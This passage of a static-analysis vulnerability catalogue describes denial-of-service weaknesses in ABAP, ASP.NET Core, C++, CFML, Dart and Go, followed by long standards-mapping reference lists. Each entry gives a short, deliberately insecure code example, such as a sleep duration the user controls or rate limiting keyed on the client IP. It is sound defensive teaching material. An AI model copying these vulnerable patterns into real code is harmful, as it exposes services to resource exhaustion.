[34] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[54] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 Path Traversal
desc.dataflow.php.dangerous_file_injection
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them thereby creating a resource exhaustion condition.

Example 1: The following code allows a user to specify the amount of time for which the current work process will sleep. By specifying a large number, an attacker may tie up the work process indefinitely.


...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.abap.denial_of_service
Abstract
The application uses the client's remote IP address to create a RateLimitPartition.
Explanation
Creating RateLimitPartitions based on the client's IP addresses leaves the application vulnerable to Denial of Service Attacks that employ IP Source Address Spoofing.

Example 1: In the following example, the GetTokenBucketLimiter() method uses a remote IP address (RemoteIpAddress) as the partition key when creating a RateLimitPartition:


...
builder.Services.AddRateLimiter(limiterOptions => {
limiterOptions.GlobalLimiter = PartitionedRateLimiter.Create<HttpContext, IPAddress>(context => {

IPAddress? ip = context.Connection.RemoteIpAddress;

return RateLimitPartition.GetTokenBucketLimiter(ip!, _ =>
new TokenBucketRateLimiterOptions
{
TokenLimit = 7
});
});
});
...
References
[1] By Arvin Kahbazi, Maarten Balliauw, and Rick Anderson Rate limiting middleware in ASP.NET Core Microsoft
[2] P, Ferguson Network Ingress Filtering: Defeating Denial of Service Attacks which employ IP Source Address Spoofing Cisco Systems
[3] Standards Mapping - Common Weakness Enumeration CWE ID 730
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[7] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[10] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[12] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[13] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[41] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[42] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.dotnet.asp_dotnet_core_rate_limitting_denial_of_service
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the amount of time for which the current process will sleep. By specifying a large number, an attacker may tie up the process indefinitely.


unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.cpp.denial_of_service
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the amount of time for which a thread will sleep. By specifying a large number, an attacker may tie up the thread indefinitely. With a small number of requests, the attacker may deplete the application's thread pool.


Sleep(url.duration);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.cfml.denial_of_service
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the amount of time for which a Future function will be executed. By specifying a large number, an attacker may tie up the Future function indefinitely.


final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.dart.denial_of_service
Abstract
An attacker can cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers might be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs enable the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: Setting a service timeout with untrusted data can leave the service unresponsive if an attacker sets a large value.


func test(r *http.Request) {
...
i, _ := strconv.Atoi(r.FormValue("TIME"))
runtime.KeepAlive(i)
...
}
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
